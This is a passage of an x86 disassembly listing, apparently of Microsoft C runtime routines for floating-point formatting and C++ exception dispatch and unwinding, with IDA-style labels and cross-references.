		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1D1
		cmp	ds:byte_4694D0,	0
		jz	short loc_41A1B6
		neg	esi
		jmp	short loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A1B6:				; CODE XREF: sub_41A0FA+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1BE


loc_41A1BC:				; CODE XREF: sub_41A0FA+BAj
		mov	ebx, esi


loc_41A1BE:				; CODE XREF: sub_41A0FA+C0j
		push	ebx
		push	edi
		call	sub_41A30E
		push	ebx
		push	30h
		push	edi
		call	sub_415550
		add	esp, 14h


loc_41A1D1:				; CODE XREF: sub_41A0FA+94j
					; sub_41A0FA+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A0FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1D8	proc near		; CODE XREF: sub_41A2BD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDBF
		mov	ds:dword_4694CC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4694D4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD48
		mov	eax, ds:dword_4694CC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4694D4, ecx
		setl	cl
		mov	ds:byte_4694D8,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4694D4, eax
		jl	short loc_41A25E
		cmp	eax, ebx
		jge	short loc_41A25E
		test	cl, cl
		jz	short loc_41A24F


loc_41A245:				; CODE XREF: sub_41A1D8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A245
		and	[esi-2], al


loc_41A24F:				; CODE XREF: sub_41A1D8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A29A
		add	esp, 0Ch
		jmp	short loc_41A26E
; ---------------------------------------------------------------------------


loc_41A25E:				; CODE XREF: sub_41A1D8+63j
					; sub_41A1D8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A273
		add	esp, 10h


loc_41A26E:				; CODE XREF: sub_41A1D8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A273	proc near		; CODE XREF: sub_41A1D8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4694D0,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419FF6
		and	ds:byte_4694D0,	0
		add	esp, 10h
		retn
sub_41A273	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A29A	proc near		; CODE XREF: sub_41A1D8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4694D0,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A0FA
		and	ds:byte_4694D0,	0
		add	esp, 0Ch
		retn
sub_41A29A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2BD	proc near		; DATA XREF: sub_415F33o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A2F8
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A2F8
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A2E5
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A0FA
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A2E5:				; CODE XREF: sub_41A2BD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1D8
		jmp	short loc_41A309
; ---------------------------------------------------------------------------


loc_41A2F8:				; CODE XREF: sub_41A2BD+7j
					; sub_41A2BD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419FF6


loc_41A309:				; CODE XREF: sub_41A2BD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A30E	proc near		; CODE XREF: sub_419FF6+2Cp
					; sub_41A0FA+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A331
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416470
		add	esp, 10h
		pop	esi


loc_41A331:				; CODE XREF: sub_41A30E+7j
		pop	edi
		retn
sub_41A30E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A333	proc near		; CODE XREF: seg000:00416114p
					; sub_41617D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A349
		call	sub_41ABD2


loc_41A349:				; CODE XREF: sub_41A333+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A371
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3C7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3C7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A67A
		add	esp, 10h
		jmp	short loc_41A3C7
; ---------------------------------------------------------------------------


loc_41A371:				; CODE XREF: sub_41A333+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3C7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3AB
		cmp	[eax+14h], edi
		jbe	short loc_41A3AB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3AB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3CA
; ---------------------------------------------------------------------------


loc_41A3AB:				; CODE XREF: sub_41A333+4Aj
					; sub_41A333+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3CE
		add	esp, 20h


loc_41A3C7:				; CODE XREF: sub_41A333+23j
					; sub_41A333+29j ...
		push	1
		pop	eax


loc_41A3CA:				; CODE XREF: sub_41A333+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3CE	proc near		; CODE XREF: sub_41A333+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A3EE
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A3F3


loc_41A3EE:				; CODE XREF: sub_41A3CE+16j
		call	sub_41ABD2


loc_41A3F3:				; CODE XREF: sub_41A3CE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A467
		cmp	[esi+14h], edi
		jnz	short loc_41A467
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A467
		mov	esi, ds:dword_4694DC
		test	esi, esi
		jz	loc_41A545
		mov	eax, ds:dword_4694E0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF46
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A449
		call	sub_41ABD2


loc_41A449:				; CODE XREF: sub_41A3CE+74j
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A467
		cmp	[esi+14h], edi
		jnz	short loc_41A467
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A467
		call	sub_41ABD2


loc_41A467:				; CODE XREF: sub_41A3CE+41j
					; sub_41A3CE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A54A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A54A
		cmp	[esi+14h], edi
		jnz	loc_41A54A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	ebx, eax


loc_41A49E:				; CODE XREF: sub_41A3CE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A535
		cmp	[ebx], edi
		jg	short loc_41A52A
		cmp	edi, [ebx+4]
		jg	short loc_41A52A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A527


loc_41A4C3:				; CODE XREF: sub_41A3CE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A4F4


loc_41A4D5:				; CODE XREF: sub_41A3CE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A61D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A503
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4D5


loc_41A4F4:				; CODE XREF: sub_41A3CE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4C3
		jmp	short loc_41A527
; ---------------------------------------------------------------------------


loc_41A503:				; CODE XREF: sub_41A3CE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A72E
		add	esp, 2Ch


loc_41A527:				; CODE XREF: sub_41A3CE+F3j
					; sub_41A3CE+133j
		mov	edi, [ebp+var_10]


loc_41A52A:				; CODE XREF: sub_41A3CE+DEj
					; sub_41A3CE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A49E
; ---------------------------------------------------------------------------


loc_41A535:				; CODE XREF: sub_41A3CE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A545
		push	1
		push	esi
		call	sub_41AAA3
		pop	ecx
		pop	ecx


loc_41A545:				; CODE XREF: sub_41A3CE+56j
					; sub_41A3CE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A54A:				; CODE XREF: sub_41A3CE+37j
					; sub_41A3CE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A570
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A575
		add	esp, 20h
		jmp	short loc_41A545
; ---------------------------------------------------------------------------


loc_41A570:				; CODE XREF: sub_41A3CE+180j
		jmp	sub_41AB7C
sub_41A3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A575	proc near		; CODE XREF: sub_41A3CE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_4694E4, 0
		push	esi
		push	edi
		jz	short loc_41A5A6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161A2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A619


loc_41A5A6:				; CODE XREF: sub_41A575+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	esi, eax


loc_41A5C2:				; CODE XREF: sub_41A575+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A619
		cmp	edi, [esi]
		jl	short loc_41A611
		cmp	edi, [esi+4]
		jg	short loc_41A611
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A5EB
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A611


loc_41A5EB:				; CODE XREF: sub_41A575+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A72E
		add	esp, 2Ch


loc_41A611:				; CODE XREF: sub_41A575+57j
					; sub_41A575+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5C2
; ---------------------------------------------------------------------------


loc_41A619:				; CODE XREF: sub_41A575+2Fj
					; sub_41A575+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A575	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A61D	proc near		; CODE XREF: sub_41A3CE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A674
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A674
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A64E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A670


loc_41A64E:				; CODE XREF: sub_41A61D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A658
		test	byte ptr [edi],	8
		jz	short loc_41A670


loc_41A658:				; CODE XREF: sub_41A61D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A667
		test	byte ptr [edi],	1
		jz	short loc_41A670


loc_41A667:				; CODE XREF: sub_41A61D+43j
		test	al, 2
		jz	short loc_41A674
		test	byte ptr [edi],	2
		jnz	short loc_41A674


loc_41A670:				; CODE XREF: sub_41A61D+2Fj
					; sub_41A61D+39j ...
		xor	eax, eax
		jmp	short loc_41A677
; ---------------------------------------------------------------------------


loc_41A674:				; CODE XREF: sub_41A61D+Bj
					; sub_41A61D+14j ...
		push	1
		pop	eax


loc_41A677:				; CODE XREF: sub_41A61D+55j
		pop	edi
		pop	esi
		retn
sub_41A61D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A67A	proc near		; CODE XREF: sub_41A333+34p
					; sub_41A72E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41A6AC:				; CODE XREF: sub_41A67A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A706
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6BB
		cmp	esi, [edi+4]
		jl	short loc_41A6C0


loc_41A6BB:				; CODE XREF: sub_41A67A+3Aj
		call	sub_41ABD2


loc_41A6C0:				; CODE XREF: sub_41A67A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6DB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB30


loc_41A6DB:				; CODE XREF: sub_41A67A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A6FB
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A718
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41A6FB:				; CODE XREF: sub_41A67A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6AC
; ---------------------------------------------------------------------------


loc_41A706:				; CODE XREF: sub_41A67A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A67A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A718	proc near		; CODE XREF: sub_41A67A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A729
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A729:				; CODE XREF: sub_41A718+Cj
		jmp	sub_41AB7C
sub_41A718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A72E	proc near		; CODE XREF: sub_41A3CE+151p
					; sub_41A575+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A750
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8DF
		add	esp, 10h


loc_41A750:				; CODE XREF: sub_41A72E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A75C
		push	edi
		jmp	short loc_41A75F
; ---------------------------------------------------------------------------


loc_41A75C:				; CODE XREF: sub_41A72E+29j
		push	[ebp+arg_24]


loc_41A75F:				; CODE XREF: sub_41A72E+2Cj
		call	sub_4160A4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A67A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7A9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7A4
		push	edi
		push	eax
		call	sub_416062


loc_41A7A4:				; CODE XREF: sub_41A72E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A72E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7A9	proc near		; CODE XREF: sub_41A72E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4694DC
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_4694E0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4694DC, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_4694E0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416129
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A86F
		mov	eax, [ebp+var_2C]


loc_41A836:				; CODE XREF: sub_41A84F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A845	proc near		; DATA XREF: seg001:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8B5
		pop	ecx
		retn
sub_41A845	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A84F	proc near		; DATA XREF: seg001:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41638A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A836
sub_41A84F	endp

; ---------------------------------------------------------------------------


loc_41A867:				; DATA XREF: seg001:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; CODE XREF: sub_41A7A9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4694DC, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_4694E0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8B4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8B4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8B4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8B4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8B4
		call	sub_4163F2
		push	eax
		push	edi
		call	sub_41AAA3
		pop	ecx
		pop	ecx

locret_41A8B4:				; CODE XREF: sub_41A86F+1Cj
					; sub_41A86F+22j ...
		retn
sub_41A86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8B5	proc near		; CODE XREF: sub_41A845+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8DC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A8DC:				; CODE XREF: sub_41A8B5+Cj
					; sub_41A8B5+12j ...
		xor	eax, eax
		retn
sub_41A8B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8DF	proc near		; CODE XREF: sub_41A72E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AA88
		cmp	byte ptr [eax+8], 0
		jz	loc_41AA88
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41AA88
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A97C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	sub_41DF62
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41A96D:				; CODE XREF: sub_41A8DF+F5j
		push	eax
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AA84
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8DF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9D6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	sub_41DF62
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416470
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AA84
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AA84
		add	esi, 8
		push	esi
		jmp	short loc_41A96D
; ---------------------------------------------------------------------------


loc_41A9D6:				; CODE XREF: sub_41A8DF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA1E
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	sub_41DF62
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416470
		add	esp, 0Ch
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA1E:				; CODE XREF: sub_41A8DF+103j
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
